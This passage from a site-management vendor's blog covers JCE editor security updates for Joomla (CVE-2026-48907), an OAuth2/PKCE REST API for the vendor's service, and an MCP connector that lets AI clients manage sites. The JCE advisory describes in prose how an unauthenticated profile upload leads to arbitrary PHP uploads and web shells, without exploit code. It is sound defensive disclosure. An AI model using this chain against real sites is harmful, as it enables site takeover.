If the update does not appear, check that JCE's update site is enabled under System -> Update -> Update Sites. For JCE Pro, you also need a valid subscription key entered under Components -> JCE Editor -> Options -> Subscription Key for the Pro update channel to be reachable. JCE Free pulls updates from the Joomla extension feed and needs no key.

After updating, hard-refresh the editor in a logged-in session to flush cached JCE assets. The version under Components -> JCE Editor should read 2.9.99.6 once you reload.

How to find every Joomla site below 2.9.99.6 using mySites.guru

That is the easy case. The hard case is "I look after 40 client Joomla sites, JCE just shipped its third release in two weeks, and I have lost track of which version each site is on."

That is what mySites.guru is built for. Twice a day, a snapshot runs against every connected Joomla site and indexes every installed extension, including its exact version. You can answer the JCE 2.9.99.6 question in seconds instead of logging into 40 administrator panels in sequence.

Open the extension search in your dashboard and look up the Editor - JCE entry. You see every version of JCE across your portfolio, grouped by version number, with each site that runs it listed underneath. Anything below 2.9.99.6 needs the update. Sites already on 2.9.99.6, or which auto-updated overnight, are green.

You can also separate JCE Free from JCE Pro if you run a mixed estate. Both editions ship the same release from the same update server, but Pro is gated by a subscription key, so it helps to know which sites sit in which group when you start chasing the stragglers, particularly the lapsed Pro subscriptions that quietly stop receiving updates.

mySites.guru subscribers: jump straight to the JCE inventory

Open JCE Extension Search

Lists every JCE install across your connected Joomla sites, grouped by version. Anything below 2.9.99.6 needs the patch. Not a subscriber? Sign up free and connect your sites.

Push 2.9.99.6 across every affected site in one batch

Once you know which sites are behind, you do not patch them one by one. The mySites.guru mass extension updater lets you select every site running an outdated JCE and trigger the update across all of them at once.

The mass update screen groups every JCE install by the version it can update to, with an "Apply to all" button per group and per-site controls when you want to be selective. Sites stuck on much older branches (2.6, 2.7, 2.8) get patched in the same sweep as ones already on the 2.9.99.x line. Behind the scenes, the platform calls each site's connector, pulls the 2.9.99.6 package from JCE's update server, installs it, and reports back with a pass or fail per site and a log entry against the site. Any site that is offline, firewalled, or running an outdated connector surfaces as a clear failure rather than a silent miss.

This is the workflow the JCE developer is gesturing at when they mention update fatigue. Three releases in twelve days is three full rounds of "log in, check, update, verify" per site by hand, or three clicks of "Apply to all" across the estate.

Sites with auto-updates enabled were patched overnight

This is exactly the scenario automatic extension updates exist for. The mySites.guru auto-updater pushes releases like 2.9.99.6 to opted-in Joomla sites without anyone logging in. If your sites are enrolled, the update has landed, the version is verified, and an audit entry is sitting in the activity log. If they are not, three JCE releases in two weeks is a strong argument to change that. The Automatic Updates for Any Joomla Extension feature already covers JCE Free and JCE Pro through Joomla's native extension update API. Turn it on and the next JCE release patches itself while you sleep. Enable auto-updates from your dashboard or start a free trial if you do not have an account yet.

How quickly should you patch JCE 2.9.99.6?

Patch today on every Joomla site running JCE. There is no functional change in 2.9.99.6 that would justify holding back, the update is free and config-free for both Free and Pro, and the developer has explicitly labelled it strongly recommended for all sites.

When this post first went out, the line here was that you were not racing a published exploit. Since 9 June, you are: working exploit code for CVE-2026-48907 is public on GitHub, and we had already found the flaw being exploited on live sites before that. For any site still below 2.9.99.5, this is worth dropping a meeting for. For sites already on 2.9.99.5, "today" remains the right window: a hardening release on your most-installed editor, shipped days after a real unauthenticated file upload was found in the same component, is not the one to leave sitting in the queue.

If you run scheduled overnight automation, the cleanest answer is to let the auto-updater handle it and check the activity log in the morning. If you patch manually, do the whole estate in one batch rather than picking sites off individually.

Edge cases and gotchas

The same caveats that applied to 2.9.99.4 and 2.9.99.5 apply here, because the update mechanism is identical.

Lapsed JCE Pro subscriptions

Both editions pull updates from JCE's own update server, not the Joomla Extensions Directory. The catch for Pro is the subscription key. If a Pro install's subscription has lapsed, 2.9.99.6 will not appear in that site's update list and the site sits silently on an older version. After three releases in two weeks, lapsed Pro subscriptions are the most likely reason a site is still behind. Scan your mySites.guru extension report 48 hours after release for any JCE Pro install still below 2.9.99.6. Those are almost certainly the lapsed keys. The fix is to renew, or drop a temporary key into the site, pull the release, then sort the renewal afterwards.

Sites still on JCE branches older than 2.9

A JCE 2.7.x or 2.8.x install on a long-tail Joomla 3 site is far more exposed than this single release implies. 2.9.99.6 is for the current branch. Those older 2.7.x and 2.8.x lines never received the 2.9.99.5 unauthenticated file upload fix, let alone this hardening pass, and carry years of unpatched issues on top. The right answer is to bring both Joomla and JCE up to date together. mySites.guru's migration tooling helps triage which sites need the most work. If a client genuinely refuses to modernise, at minimum disable JCE on that site and fall back to TinyMCE or CodeMirror until it can be brought current.

JCE 2.6.x is a special case. The developer confirms it is not affected by the unauthenticated profile upload in a default configuration, because the import path is blocked and no guest-accessible profile exists by default. It is still unsupported and may carry other unpatched issues, so plan to migrate it regardless, but it does not need the same drop-everything treatment as the 2.7.x and 2.8.x lines.

For sites that cannot update: the free patch

2.9.99.6 needs PHP 7.4 and Joomla 3.10 or later. For sites that genuinely cannot meet that yet, the JCE developer has released a free patch package that closes the unauthenticated upload vulnerability in JCE 2.7.x, 2.8.x and 2.9.x. Treat it as a stopgap, not a fix: it closes the vulnerability only, without this hardening pass, it is provided as-is, and it does not clean a site that was already compromised. Back up and test on a copy first. End-of-life PHP or Joomla leaves the site exposed to other unpatched issues regardless, so the patch buys time to migrate, nothing more.

Custom Editor Profiles with broad filesystem access

If you previously set up an Editor Profile with broad filesystem access (the whole images/ tree, or worse), the principle of least privilege still applies after this update. A hardening release reduces the attack surface, but a profile with broad file permissions remains a high-value target for whatever the next JCE issue turns out to be. Review every profile under Components -> JCE Editor -> Editor Profiles on each site and lock each one to the narrowest path that still lets its user group work.

Does this affect WordPress?

No. JCE is a Joomla-only editor extension. There is no WordPress build of JCE Pro or JCE Free, no shared codebase, and no equivalent release for WordPress. WordPress sites use the core block editor or TinyMCE, which have their own separate histories. If you run a mixed estate, the WordPress half is unaffected by this release. The Joomla half needs the update.

How to Access Your mySites.guru Account Using our Secure API

phil@mysites.guru (Phil Taylor) — Mon, 08 Jun 2026 00:00:00 GMT

Last week we introduced the mySites.guru MCP server, which lets you manage your whole WordPress and Joomla estate by talking to an AI client like Claude. A lot of you asked the obvious follow-up question: what is underneath it, and can I use that directly from my own code?

The answer is yes. Underneath the MCP server is the mySites.guru Agency API, a secure REST API that does everything the MCP server does, and it is the foundation we built the MCP server on top of. This post explains what the API is, how you connect to it securely, and why "secure by design" is a claim we can actually back up rather than a line on a marketing page.

If you have ever wanted to pull your site list into your own dashboard, fire off audits from a cron job, or trigger a round of extension updates from a deploy script, this is the tool for that.

Beta Preview Limited scope for now

The set of endpoints available today is deliberately small. We have shipped a focused starting point, we are watching usage and listening to feedback, and we will grow it from there. Treat what follows as the ground floor, not the finished feature.

The short version

The mySites.guru Agency API is a REST API that exposes the same actions you take in the dashboard, including listing sites, reading audits and backups, and triggering audits, backups, snapshots and updates. It uses OAuth2 with PKCE, no static keys, with short-lived tokens scoped to your own sites. It is the same engine the MCP server runs on, so you can use the API on its own, the MCP server on its own, or both together.

The API, the MCP server, and how they relate

Worth being clear about this up front, because it shapes everything else.

The Agency API is the engine. It is a plain REST API: your code sends an HTTP request with a token, the API does the work and sends JSON back. The MCP server we launched last week is a second front door bolted onto that same engine, designed so an AI client can drive it in natural language. Both share the same authentication, the same per-user scoping, and the same underlying actions. The MCP server is, in effect, a thin translation layer that turns "back up all my Joomla sites" from an AI client into the same operations the API exposes directly.

That gives you three ways to use mySites.guru programmatically:

The API instead of the MCP server. Write a script, a dashboard, or a scheduled job that talks straight to the REST API. No AI client involved.
The API alongside the MCP server. Use Claude for ad-hoc, conversational work, and a scripted API integration for the repeatable, scheduled jobs. They share the same account and the same permissions model.
The API as a standalone service. Wire mySites.guru into your own agency dashboard, a status page, or an internal tool, with no dependency on any AI tooling at all.

Pick whichever fits the job. Nothing about the API requires you to use the MCP server, and nothing about the MCP server is doing anything the API could not.

What the API can do

The API exposes the same actions you already perform by hand in the dashboard, split into reading data and triggering work.

Reading data:

Your account profile and plan details
Your full list of sites, with platform, version, PHP version and connection status, filterable by platform or tag
A single site's full detail
Audit results for a site, and the full detail of any individual audit
A site's backups and their status
A site's snapshots
The extensions installed on a site
The tags across your account

Triggering work:

Start a new audit on a site
Start a new backup
Take a new snapshot
Trigger extension updates

The triggering endpoints return immediately and run the job in the background, exactly as they do when you click the button in the dashboard. You get a confirmation that the job was queued, not a response that blocks until a backup finishes.

The important principle is that the API never grants more than you already have. Every action maps to something your account can already do. If you cannot see a site in the dashboard, no token issued to you can reach it through the API either.

How you connect: OAuth2 with PKCE

This is the part that earns the "secure" in the title, so it is worth walking through properly. If OAuth flows make your eyes glaze over, the headline is: no passwords leave your app, nothing long-lived is sitting around to be stolen, and you approve each connection yourself.

The API uses the OAuth2 Authorization Code flow with PKCE, and that is the only supported method. There are no static API keys to leak, no basic-auth passwords sitting in a config file, and no long-lived bearer tokens that work forever if they escape. If you have integrated with Google, GitHub or a bank's API, the shape of this will be familiar.

Step 1: Register an API client

In your dashboard, go to Account then API Clients and create a new client. You receive a client_id. There is deliberately no client_secret, because PKCE replaces it. You add the redirect URI (or URIs) your application will use, and you are done.

Step 2: Generate a PKCE pair

Before sending the user off to authorize, your application generates a one-time secret called a code verifier, and a hashed version of it called a code challenge:

// Browser example using the Web Crypto API
const verifier = base64url(crypto.getRandomValues(new Uint8Array(32)));
const challenge = base64url(
  await crypto.subtle.digest('SHA-256', new TextEncoder().encode(verifier))
);

You keep the verifier private and send only the challenge in the next step. This is what stops an intercepted authorization code from being useful to anyone but you.

Step 3: Send the user to authorize

Your application redirects the user to the authorization endpoint, asking for exactly the scopes it needs:

GET https://manage.mysites.guru/oauth/authorize
  ?response_type=code
  &client_id=YOUR_CLIENT_ID
  &redirect_uri=https://yourapp.example.com/callback
  &scope=api:profile:read api:sites:read
  &code_challenge=BASE64URL_SHA256_OF_VERIFIER
  &code_challenge_method=S256
  &state=RANDOM_NONCE

The user lands on a mySites.guru consent screen, signs in if they are not already, and sees exactly which permissions your application is asking for. Your application never sees their password. If they approve, they are sent back to your redirect URI with a short-lived authorization code.

The consent screen the user approves. Each line is a plain-English description of one requested scope, so the user sees exactly what they are granting before they click Authorize.

Step 4: Exchange the code for tokens

Your application swaps the code, plus the original verifier, for tokens:

POST https://manage.mysites.guru/oauth/token
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code
&code=AUTH_CODE_FROM_CALLBACK
&redirect_uri=https://yourapp.example.com/callback
&client_id=YOUR_CLIENT_ID
&code_verifier=YOUR_ORIGINAL_VERIFIER

You get back an access token and a refresh token:

{
  "token_type": "Bearer",
  "expires_in": 3600,
  "access_token": "eyJ...",
  "refresh_token": "def502..."
}

Step 5: Call the API

From here, every request carries the access token:

GET https://manage.mysites.guru/api/v1/sites
Authorization: Bearer eyJ...

And a response comes back as JSON:

{
  "data": [
    {
      "hash_id": "aB3xY9",
      "url": "https://acme.example.com",
      "friendly_name": "Acme Corp",
      "platform": "Joomla",
      "version": "5.2.1",
      "php_version": "8.3.4",
      "db_version": "8.0.36",
      "tags": [
        { "slug": "client", "name": "Client", "color": "#3b82f6" }
      ],
      "is_connected": true,
      "last_audit": "2026-06-06T18:54:25+00:00",
      "last_backup": "2026-06-06T02:00:00+00:00"
    }
  ],
  "meta": { "current_page": 1, "per_page": 25, "total": 87 }
}

The interactive demo bundled with the API does exactly this against your own account. Here it is calling GET /api/v1/sites/{hashId}/audits/{id} and getting a real audit back: files scanned, suspect files, hidden files, missing core files, and the hacked flag, all from one signed request.

The bundled demo running a live audit lookup against a real site, returning HTTP 200. The token carries the api: scopes granted on the consent screen.

Step 6: Refresh when the token expires

Access tokens last one hour. When one expires, your application uses the refresh token (valid for one month) to get a new pair, without sending the user through the consent screen again:

POST https://manage.mysites.guru/oauth/token
Content-Type: application/x-www-form-urlencoded

grant_type=refresh_token
&refresh_token=def502...
&client_id=YOUR_CLIENT_ID

The old refresh token is invalidated and you receive a fresh pair. Short-lived access tokens with rotating refresh tokens mean that even in the worst case, an exposed access token is useful for at most an hour.

Why "secure by design" is more than a slogan

Security here is not a feature bolted on afterwards. It falls out of how the API is built. Here is what that actually means in practice.

No static secrets

Because the only supported flow is Authorization Code with PKCE, there is no permanent API key that grants access forever. The thing your application holds long term is a refresh token tied to a specific user's approval, and even that expires. There is no shared secret to find in a leaked .env file and replay.

Tokens are scoped to your own sites, and re-checked every time

When a token is issued, the permissions are resolved for that specific user. On every single request to a site-specific endpoint, the API independently confirms that the site belongs to the user's company, and, if the user is a restricted team member, that the site is one they are allowed to see. A token cannot reach a site its owner could not already reach in the dashboard. This check is not done once at login and trusted thereafter, it runs on each request.

Scopes mean least privilege

Your application asks only for the scopes it needs, such as api:sites:read on its own, or api:audits:write to trigger audits. The consent screen shows the user exactly what they are granting before they approve. A read-only reporting dashboard never needs to ask for write access, and a user can see that it has not.

Short-lived tokens and per-user resolution

Access tokens expire after an hour. Permissions are tied to the user who approved the connection, not baked into a shared client, so the same integration approved by two different people gets each person's own access and never leaks one user's reach to another.

HTTPS only, rate limited, revocable

Redirect URIs must be HTTPS (the only exception is localhost, for local development). The API is rate limited per token, so a runaway script is contained rather than allowed to hammer the platform. And every client you create is listed in your dashboard under Account then API Clients, where you can revoke any of them in one click. Revoking a client cuts off its access.

This is the same security model we described for the MCP server, for the simple reason that they share it. The MCP server is secure for the same reasons the API is: it is the same OAuth2 layer underneath.

A worked example: a nightly audit report

To make this concrete, picture the kind of thing the API is built for. You run an agency with 80 client sites and you want a single email each morning summarising any site whose audit score dropped overnight.

With the API, that is a small scheduled script:

Refresh your access token if it has expired.
Call GET /api/v1/sites to get your site list.
For each site, call GET /api/v1/sites/{hashId}/audits and read the most recent score.
Compare against yesterday's stored scores and assemble the ones that fell.
Email yourself the list.

No browser, no clicking through 80 dashboards, no AI client in the loop. Just your own code, running on your own schedule, talking to a secure API. If you would rather ask the same question conversationally now and then, the MCP server answers "which of my sites dropped an audit score last night?" from an AI client, using this exact same data.

For agencies already leaning on scheduled audits, updates and backups inside mySites.guru, the API is the natural next step when you want that automation wired into your own systems rather than ours.

What the API does not do (yet)

Being honest about the edges is part of being secure and trustworthy.

The API currently covers reading and triggering the core operations listed above. It does not yet offer webhooks or event subscriptions, so you poll for changes rather than being pushed them. The full developer reference documentation is being finalised and is not published yet, so for now the entry point is the Account then API Clients screen in your dashboard, and the flow described in this post. When the reference docs go live we will link them here.

If there is an operation you can do in the dashboard that you want exposed through the API, tell us. The API deliberately mirrors the dashboard, so the roadmap for it is driven by what you actually want to automate.

Getting started

Sign in to your mySites.guru dashboard.
Go to Account then API Clients and create a client.
Note your client_id and add your redirect URI.
Run the Authorization Code with PKCE flow described above against the /oauth/authorize and /oauth/token endpoints.
Call https://manage.mysites.guru/api/v1/ with your Bearer token.

If you are not yet a mySites.guru subscriber, you can start with a free audit or see everything the platform does first. The API, like the MCP server, is there to let you bend mySites.guru around your own workflow rather than the other way around.

Manage Every Site From Claude Desktop or other AI tools

phil@mysites.guru (Phil Taylor) — Sun, 07 Jun 2026 00:00:00 GMT

For a long time we have shied away from adding AI to mySites.guru for the sake of it, while we watched everyone else scramble to bolt AI onto their products in ways that made no sense. We were not interested in a chatbot in the corner that nobody asked for.

Now the time has come. We are introducing a suite of AI features that genuinely improve how you manage a large number of WordPress, Joomla and general websites through mySites.guru, and today we are announcing the first of many: mySites.guru is now available as an MCP server you can connect to Claude Desktop and other MCP clients. You can hold a natural-language conversation with the AI client of your choice and pull information straight from your mySites.guru account and your connected sites, then act on it.

Think about how a simple client question gets answered today. "Is our site up to date?" To answer honestly you open the dashboard, find the site, check the CMS version, check the PHP version, glance at the extension list, and remember whether the last audit came back clean. Two minutes per site, repeated all day, for something you should be able to just ask. Now you can ask it.

Beta Preview Limited scope for now

The set of tools available today is deliberately small. We have shipped a focused starting point, we are watching usage and listening to feedback, and we will grow it from there. Treat what follows as the ground floor, not the finished feature.

What you can do once it is connected

Connect the account and your AI client gains a set of tools that map directly onto the things you already do in mySites.guru. You stop clicking and start asking, with questions like:

"List my sites that have not been backed up this week."
"Run a security audit on example.com and tell me if anything looks hacked."
"What extensions are installed on this client's site, and which look old?"
"Queue a backup for every Joomla site tagged client-retainer."
"Take a fresh snapshot of this site so I have a record before the migration."

The client reads the live state of your sites, reasons over it, and triggers the action you ask for. It is the difference between an assistant that talks about your sites and one that can actually act on them, bounded by exactly what your account already permits.

This is the beta, so not every one of those examples is wired up yet, and the exact set you can use today is listed further down in What you can do in the beta. The bigger picture is where this is heading: we are working to expose the full range of mySites.guru features through MCP, and that is landing very shortly. Today is the first slice, not the whole thing.

How to connect it

There is no plugin to install on any site. The connector is your whole account, and it lives at one URL:

https://manage.mysites.guru/_mcp

In Claude Desktop, add it like this:

Open Claude Desktop and go to the chat tab, then click Customize.
Choose Connectors, click the + icon, and select Add custom connector.

Paste https://manage.mysites.guru/_mcp as the remote MCP server URL, give the connector a name, and save. Call it mySites.guru if you like things tidy, or something with a bit more personality. Name it Phil and you get to type "Ask Phil to show me a list of my sites" and have it actually work. You can leave the OAuth fields under Advanced settings blank.

Claude sends you to mySites.guru to sign in and approve the access. You see exactly which permissions are being granted before you authorize.

Approve it, and Claude is connected.

Other MCP clients (Claude.ai on the web, IDEs, and anything else that speaks the protocol) each have their own way to add a remote MCP server, but the URL is always the same: https://manage.mysites.guru/_mcp. Add it wherever your client lists custom or remote connectors, then complete the same sign-in and approval step.

That is the whole setup. The connection then shows up in your mySites.guru account as an authorized client, and you can revoke it in one click whenever you want. Because your sites are already linked to mySites.guru through the connector you set up when you added them, the MCP server reaches them the same way. WordPress and Joomla are identical here, which is not something the WordPress-only MCP plugins can say.

No per-site plugin, no API juggling

The point of doing this at the account level is that it scales the way an agency actually works. You authorize once, and every site you manage, now and in the future, is reachable through the same connection. Add a new client site to mySites.guru next month and it is immediately available to your AI client with no extra setup.

What you can do in the beta

Here is the exact, honest list of what the connection can do today. Nothing more is implemented yet, so this is the whole surface for the beta. Every item below maps to something you can already do in the dashboard, and the tools split into reading the state of your sites and acting on them.

Reading your sites:

List every site you manage, with its CMS, PHP and database versions, tags and connection status.
Get the full detail of a single site, including SSL expiry and available updates.
Read your profile (name, email, company).
List and read security audits, with suspect-file counts and the hacked flag.
List backups for a site.
List configuration snapshots for a site.
List the extensions installed on a site.
List your site tags, so you can talk about groups of sites by name.

Acting on your sites:

Trigger a security audit on a site.
Queue a backup for a site.
Queue a configuration snapshot for a site.
Queue updates for one or more extensions on a site.

That is it for now: thirteen tools, nine that read and four that act. Each one is gated by its own permission, so a read-only request can never quietly turn into a write. Listing extensions tells you what is installed; queueing an update is a separate, explicitly-permitted action.

Your AI client shows you the full list and lets you decide, per tool, whether Claude can run it automatically, must ask first, or is blocked entirely:

What comes next

This is a beta preview, and the tool list is the part most likely to grow. Through the beta we are watching our logs like a hawk for how people actually use it, which questions they ask, which actions they reach for, and where the gaps are. We will add tools based on that and on your feedback, rather than guessing at a big list up front. If there is something you want the connection to do, tell us, because right now is exactly when that feedback shapes what gets built.

This sits alongside the AI-powered malware analysis we already shipped. There, you send a flagged file to an AI for a verdict from inside the dashboard. With MCP, the conversation runs the other way: the AI reaches into your account to find the sites worth looking at in the first place.

Why it is safe to hand this to an AI

Letting an AI client touch production sites sounds alarming until you look at what is actually happening underneath. There is no magic backdoor involved. It runs on the same OAuth flow that lets you "Sign in with" a trusted account elsewhere.

When you add the connector, the client and mySites.guru run an OAuth 2.1 authorization with PKCE. In plain terms:

You are sent to mySites.guru to log in and approve the connection. The AI client never sees your password.
The approval mints a token that is scoped to your own sites and stamped for this one connection. It cannot be replayed against anything else.
Permissions are resolved per user at the moment the token is issued, so a shared client used by many people can never leak one person's access to another.
Every authorized connection is listed in your account, and you revoke it with one click.

The net effect: the AI can do exactly what you can do in mySites.guru, against exactly your sites, and nothing more. If you would not be allowed to click it in the dashboard, the AI cannot do it for you either.

What this changes for an agency

The dashboard is built for doing things. An MCP connection is built for asking things and then doing them without the round trip.

A morning triage that used to mean opening twenty tabs becomes one message: "Across all my sites, which ones are out of date, have a failed last backup, or flagged suspect files in the most recent audit?" You get a ranked list, and you follow up in the same conversation: "Queue backups for the three with no recent backup, and run a fresh audit on the two with suspect files."

What makes this more than a search box is that the assistant interprets what it finds. Ask about one site's extension updates and it does not just dump a list: it tells you nothing is pending, then flags that the real issue is an end-of-life Joomla core, points at the suspect files the last audit surfaced, and offers to dig deeper. That is the kind of read you would normally do yourself across three screens.

Reporting works the same way. "Give me the CMS and PHP versions for every site tagged acme-corp" is a sentence, not a spreadsheet export. And because the assistant can read tags, you talk about clients and groups the way you think about them, not by hunting through a list.

Build it into your own workflows

Because this is a standard MCP connection, it is not just for typing questions by hand. You can wire mySites.guru into your own skills and AI workflows. Build a morning skill in Claude that runs the same triage every day and hands you a ready-made list of the sites that need work, before you have even finished your coffee. Chain it with the other tools and data your AI client already has, so a mySites.guru lookup becomes one step in a larger routine you have built once and run forever. The connection is a building block, and what you assemble from it is up to you.

None of this replaces the dashboard. The one-click admin login, the real-time alerting, the visual audit reports, all of that is still where it was. MCP is a faster way in for the questions and actions that do not need a screen.

A standard, not a lock-in

MCP is an open protocol. Anthropic introduced it in late 2024 and then handed governance to the Linux Foundation, with OpenAI, Google, Microsoft and others on board. That matters because it means the connector you set up is not a bet on one vendor. Today Claude Desktop and Claude.ai are the obvious clients, but the same /_mcp URL works in any client that speaks the protocol, and the list of those grows steadily.

If you already trust mySites.guru to manage your WordPress and Joomla sites, this is simply a new, faster surface onto the same account. Connect it once, and start asking.

Tell us what you want it to do

This is a beta, and your feedback is what decides where it goes next. Connect it, put it to work on your real sites, and tell us what felt missing: a tool you wished existed, a question it could not answer, an action you wanted to trigger but could not. The quickest way to shape the next round of tools is to get in touch and tell us what would make this genuinely useful for the way you work. We are building this with you, not at you, and the sooner we hear from you the more of your wishlist lands in the full release.

JCE Free/Pro 2.9.99.5 Patches an Unauthenticated File Upload in Joomla's Most-Installed Editor

phil@mysites.guru (Phil Taylor) — Wed, 03 Jun 2026 00:00:00 GMT

The whole story in one place: our JCE Profiles Hack page is the page of truth for the attack this flaw enables, with the indicators of compromise and the tool that finds and fixes it across every site you manage.

JCE (Joomla Content Editor) ships on more Joomla sites than any other editor extension. It sits in the top two of our live extension ranking, neck and neck with Akeeba Backup. If you look after a stack of Joomla sites, the odds that nearly all of them have JCE installed are very high.

On 3 June 2026, the JCE developer released JCE Pro 2.9.99.5 and the matching JCE Free 2.9.99.5. The changelog carries one security line, and it is the kind you act on the same day: insufficient access controls permitted unauthenticated users to upload editor profiles, which the developer states could be exploited to upload arbitrary files to the server.

This is the second JCE security release in a week. The 2.9.99.4 release on 28 May patched two bugs that both required a logged-in session. This one does not. That single difference, authenticated to unauthenticated, is what moves it from "patch this week" to "patch now".

This post covers what was patched, how the flaw differs from last week's, what an attacker could do with it, and how to find and update every vulnerable JCE install across the Joomla sites you manage with mySites.guru instead of one administrator panel at a time.

Update: there are newer releases, current is JCE 2.9.99.10

After fixing this unauthenticated file upload, the developer ran a full four-day audit of the editor and shipped JCE 2.9.99.6 on 8 June, a security hardening release that narrows entry points and tightens input validation across JCE. It was followed by 2.9.99.7 (18 June, an upload-regression fix and group whitelist), 2.9.99.8 (2 July, a maintenance release that also hardens the File Browser), and 2.9.99.10 (29 July, an authenticated file rename fix plus a broad hardening pass). Do not stop at 2.9.99.5: update straight to the current 2.9.99.10. Read the JCE 2.9.99.6 advisory. The developer has since confirmed active exploitation and published a free patch for sites that cannot reach the current release (it needs PHP 7.4 and Joomla 3.10+).

The short version

An unauthenticated visitor could upload an editor profile, and a profile controls what filesystem and upload actions JCE permits. The developer says this could be used to upload arbitrary files to the server. Every Joomla site running JCE is in scope, not just ones with public registration. Update to 2.9.99.5 today.

TL;DR

JCE Pro 2.9.99.5 and JCE Free 2.9.99.5 released 3 June 2026
Fixes insufficient access controls that let unauthenticated users upload editor profiles, which the developer says could be exploited to upload arbitrary files to the server
Affects all versions of JCE Free and JCE Pro before 2.9.99.5
This is a separate, more serious flaw than the authenticated-only bugs patched in 2.9.99.4 a week earlier, not a reopening of them
No login is required, so every Joomla site with JCE is exposed regardless of registration settings
Tracked as CVE-2026-48907
Runs natively on Joomla 3, 4, 5, and 6 without the Backwards Compatibility plugin
Reported by Uwe Flottemesch of fc-hosting.de, with assistance from David Jardin, lead of the Joomla Security Strike Team
Update via the Joomla Update Manager or the JCE downloads area
If you manage multiple sites, mySites.guru's mass updater pushes the update to every affected site in one batch

What was patched in JCE 2.9.99.5?

The security line in the 2.9.99.5 changelog reads, verbatim:

Insufficient access controls permitted unauthenticated users to upload editor profiles.

The release announcement adds that the flaw "could be exploited to upload arbitrary files to the server." To see why those two sentences belong together, you need a quick refresher on what an Editor Profile actually is.

A quick tour of JCE Editor Profiles

Each profile defines:

Which toolbar buttons are visible
Which file types can be uploaded
Which directories the editor can browse and upload into
Which advanced features (templates, code view, and so on) are exposed

A profile is, in effect, a set of filesystem permissions wearing an editor's clothes. Control the profile and you control what file operations JCE will carry out.

Why an unauthenticated profile upload is the dangerous part

The 2.9.99.5 flaw was an access control gap on the action that uploads (imports) an editor profile. Before the patch, that action did not properly check that the request came from an authorised, logged-in user. An unauthenticated request could reach it.

Put those two facts next to each other. If an anonymous actor can upload a profile, and a profile dictates which file types may be uploaded and into which directories, the attacker can define a profile permissive enough to allow the upload they want, then use it. That is the path the developer is pointing at with "upload arbitrary files to the server."

The vendor has not published a proof of concept, the exact controller and task, or a confirmed remote code execution chain, so treat the arbitrary-file-upload outcome as the realistic risk the patch closes rather than a demonstrated exploit. The flaw has since been assigned CVE-2026-48907. The mechanism does not need a working public exploit to deserve same-day patching. Unauthenticated plus file upload is a combination you close immediately and ask questions later.

How 2.9.99.5 differs from last week's 2.9.99.4

It is reasonable to assume a second JCE release in a week means the first fix was incomplete. That is not what happened here. The two releases address different vulnerabilities in the same area of code.

	JCE 2.9.99.4 (28 May)	JCE 2.9.99.5 (3 June)
Authentication	Required a logged-in session	None required
Affected area	File browser	Editor profile upload
What it fixed	Editor Profile access check plus a directory traversal in filesystem search	Access control on the profile upload action
Severity	Moderate, bounded by profile permissions	High, unauthenticated path to file upload

The 2.9.99.4 release tightened the file browser: it stopped an authenticated user from invoking actions through an Editor Profile they were not assigned to, and it closed a directory traversal in the filesystem search. Both required an account. The 2.9.99.5 release closes a different door, the one that lets a profile be uploaded in the first place, and that door was open to anyone.

The two clearly come from the same coordinated review of JCE's profile and filesystem handling, which is a good thing. A thorough audit of one component tends to surface a cluster of related issues, and JCE's developer has shipped fixes for the lot within days of each report.

A note on JCE's history with file uploads

There is a reason an unauthenticated file upload in JCE specifically should make you move quickly, and it is not the 2026 bug. It is the 2012 one.

Back in 2012, an unauthenticated arbitrary file upload in JCE's ImageManager (tracked as CVE-2012-2902) became one of the most widely exploited Joomla vulnerabilities of its era. Automated bots scanned the internet for vulnerable JCE installs, uploaded an innocuous-looking image file, then renamed it to a .php extension to drop a web shell. Security vendors including Sucuri and Trustwave documented the campaign, and it shipped as a ready-made module in Metasploit. Sites were still being compromised through it years after the patch existed, purely because so many were never updated.

The 2026 issue is a separate, newly patched flaw, and there is no evidence anyone is exploiting it as this post goes out. The history matters because of what it shows: when an unauthenticated JCE file-upload bug meets a long tail of installs nobody updated, you get mass, automated, opportunistic compromise. Nothing to panic about today. Plenty of reason not to be the site still running a vulnerable JCE in six months.

What an attacker could do, and what they could not

What the patch closes is an unauthenticated route to uploading an editor profile, and from there potentially to uploading files the site never intended to accept. On a site where that chain reaches an executable location, the worst case is the familiar one: a web shell, persistent backdoor access, and a site that needs a full clean rather than an update. That is no longer hypothetical: we later found exactly this attack on a live Joomla site, a rogue editor profile built to permit php uploads with the webshells it was used to drop still sitting on disk.

What the advisory does not claim is a turnkey, one-request remote code execution with a published exploit. There is no public PoC in circulation. What it does describe is an unauthenticated way in and a file-upload outcome the vendor has named outright, now tracked as CVE-2026-48907. That is enough. You update to close it rather than wait to find out, on a site you manage, how far the chain actually reaches.

This puts 2.9.99.5 in a different and more urgent category than 2.9.99.4, and alongside genuinely unauthenticated Joomla issues like the Smart Slider 3 arbitrary file read and Novarain Framework's file inclusion, rather than the authenticated-only bugs from last week.

How to update JCE on a single Joomla site

For one site, the update is routine. Joomla's built-in extension update tooling will pick up 2.9.99.5 as soon as the JCE update server publishes it, which it has.

Log in to the Joomla administrator
Go to System -> Update -> Extensions
Click Check for Updates
Select the JCE row
Click Update

After updating, hard-refresh the editor in a logged-in session to flush cached JCE assets. The version under Components -> JCE Editor should read 2.9.99.5 once you reload.

How to find every Joomla site with a vulnerable JCE using mySites.guru

That is the easy case. The hard case is "I look after 40 client Joomla sites, and an unauthenticated file upload just got patched. Which of them are still vulnerable, right now?"

That is what mySites.guru is built for. Twice a day, a snapshot runs against every connected Joomla site and indexes every installed extension, including its exact version. You can answer the JCE 2.9.99.5 question in seconds instead of logging into 40 administrator panels in sequence.

Open the extension search in your dashboard and look up the Editor - JCE entry. You see every version of JCE across your portfolio, grouped by version number, with each site that runs it listed underneath. Anything on 2.9.99.4 or earlier needs the update. Sites already on 2.9.99.5, or which auto-updated overnight, are green.

You can also separate JCE Free from JCE Pro if you run a mixed estate. Both editions ship the same fix in 2.9.99.5 from the same update server, but Pro is gated by a subscription key, so it helps to know which sites sit in which group when you start chasing the stragglers.

mySites.guru subscribers: jump straight to the JCE inventory

Open JCE Extension Search

Lists every JCE install across your connected Joomla sites, grouped by version. Anything on 2.9.99.4 or earlier needs the 2.9.99.5 patch. Not a subscriber? Sign up free and connect your sites.

Push 2.9.99.5 across every affected site in one batch

Once you know which sites are vulnerable, you do not patch them one by one. The mySites.guru mass extension updater lets you select every site running an outdated JCE and trigger the update across all of them at once.

